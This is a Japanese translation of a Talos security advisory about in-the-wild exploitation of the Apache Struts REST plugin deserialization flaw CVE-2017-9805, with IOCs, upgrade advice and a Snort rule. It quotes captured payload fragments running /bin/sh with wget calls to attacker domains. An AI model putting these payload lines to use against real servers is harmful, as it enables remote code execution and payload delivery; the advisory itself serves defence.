Cisco Japan Blog

発見が続く Apache Struts の脆弱性

1 min read



今回の記事は、Alex Chiupopup_icon の協力を得て Nick Biasinipopup_icon が執筆しました。

セキュリティ アドバイザリでは今週始めに、Apache Strutspopup_icon の重大な脆弱性について公開しました。今回新たに発見された脆弱性(CVE-2017-9805)は、REST プラグインが XStreamHandler に XStream インスタンスを指定する際に、タイプ フィルタなしで逆シリアル化を行うことに起因します。脆弱性がエクスプロイトされると、認証されていないリモートの攻撃者によってリモート コードを実行される危険性があります。

Apache Struts では、他にも複数の脆弱性が最近確認されています。たとえば今年の初旬popup_iconには、被害例が続くゼロデイの脆弱性も発見されています。Talos では、2017 年 3 月に CVE-2017-5638 を観察した際と同様の方法で、CVE-2017-9805 のエクスプロイトを観察してきました。

詳細

今回のエクスプロイトに関連した報告が出された直後から、Talos ではその感染手口を調査してきました。また、エクスプロイトを防ぐためのカバレッジを開発する作業にも着手しました。調査やカバレッジの開発に成功したことで、実際の感染例についても調査を開始しました。今回のエクスプロイトでは、これまでのところシステム スキャンが中心となっています。つまり、アウトバウンド要求により潜在的に脆弱なシステムを検出しているようです。次の図は、今回観察された種類の HTTP リクエストのサンプルです。

<string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?vulnerablesite</string>

これにより、HTTP 応答の内容を /dev/null に書き込む wget 要求が開始されます。これを見る限り、エクスプロイトでは確かにシステム スキャンのみを行っていることが分かります。この狙いは、リモート サーバに対して脆弱な Web サイトを特定することです。このことは、侵害された Web サイトが URL に含まれていることからも分かります。他にも、同じ Web サイトに同様のリクエストを送信した小規模なケースが確認されています。

<string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?`echo …vulnerablesite…`</string>

エクスプロイト アクティビティの大半は、/struts2-rest-showcase/orders/3 のパスに POST を試みることに費やされています。さらに、エクスプロイト試行の大部分では wildkind[.]ru にデータを送信しており、wildkind[.]ru に関連付けられた IP アドレス(188.120.246[.]215)を起源とするリクエストは相当量に上っています。

実際に観察されたエクスプロイトの例

他のエクスプロイト試行も確認されていますが、これらについては別の攻撃者による別の目的があると考えられます。エクスプロイト試行で検出された Web リクエストの例を以下に示します。

<string>wget</string><string>hxxp://st2buzgajl.alifuzz[.]com/052</string>

残念ながら、上記の場所で配布されていた(悪意のありそうな)ファイルは取得できませんでした。前回発見された Struts の脆弱性を基に考えると、ペイロードは亜種ごとに大きく異なり、DDoS ボットやスパム ボットなどの悪質なペイロードが含まれると想定されます。

IOC

観察された IP アドレス:

  • 120.246[.]215
  • 37.175[.]165
  • 158.182[.]26
  • 158.111[.]235
  • 101.76[.]226
  • 101.105[.]240

接触したドメイン:

  • wildkind[.]ru
  • alifuzz[.]com

一般的に使用されるパス:

  • /struts2-rest-showcase/orders/3

緩和策

Apache では、脆弱性を解決する新バージョンの Struts をすでにリリースしています。影響を受けるバージョンの Apache Struts を使っていると考えられる場合は、Struts 2.5.13/Struts 2.3.34 にアップグレードしてください。REST プラグインの使用頻度が高くなければ、それを削除する手もあります。これらの対策はあくまでセキュリティ情報popup_iconの一部であり、実稼働環境で適用する際は必ず事前にテストしてください。REST プラグインのアップグレードや削除ができない場合は、プラグインのアクセスをサーバの通常ページや JSON に制限することで危険性を緩和できるかもしれません。

まとめ

今回のようなサーバの脆弱性は、これまで多く発見されており、今後も多く発見されると考えられます。現在では侵害されるエンドポイント システムに注目が集まっていますが、毎日観察される不正アクティビティの大部分がエンドポイントに集中していることを考えれば、その理由はもっともです。ただし、サーバに脆弱性が見つかった場合は最優先で修正プログラムを適用すべきです。サーバが侵害されると、攻撃者による機微データやシステムへのアクセスを許す危険性があります。

今回発見された脆弱性は、サーバで脆弱性が見つかった場合に、それらがいかに早く悪用されるかの良い例ともなりました。開示から 48 時間以内には、脆弱性をエクスプロイトするためのアクティビティが確認されました。もちろん脆弱性は予め責任をもって通知されており、開示される前に修正プログラムも配布されています。しかし、営利目的の攻撃者はすぐに脆弱性をリバース エンジニアリングし、エクスプロイト コードを開発して攻撃を開始しました。今日の状況は待ったなしであり、数か月はおろか数週間でも対応は遅すぎます。現在必要な対応速度は数日、数時間、ときには数分なのです。組織に影響がおよぶのを防ぐため、最新の緩和策や更新プログラムが適用されていることを確認してください。

カバレッジ

Talos では、脆弱性に対処するために次の Snort ルールをリリースしています。脆弱性に関する新たな情報が発見された場合は、ルールが追加・変更される可能性もあります。最新情報にご注意ください。Firepower のお客様は、SRU を更新して最新のルール セットをお使いください。オープンソース Snort サブスクライバ ルール セットをお使いであれば、Snort.orgpopup_icon で購入可能な最新のルール パックをダウンロードすることで、システムを最新状態に維持できます。

Snort ルール:44315

NGFW や NGIPS、および Meraki MXpopup_icon などのネットワーク セキュリティ アプライアンスにより、このの脅威に関する悪意のあるアクティビティを検出できます。

 

 

 

 

 

 

 

 

本稿は 2017年9月7日に Talos Grouppopup_icon のブログに投稿された「Another Apache Struts Vulnerability Under Active Exploitationpopup_icon」の抄訳です。

 

 

 

コメントを書く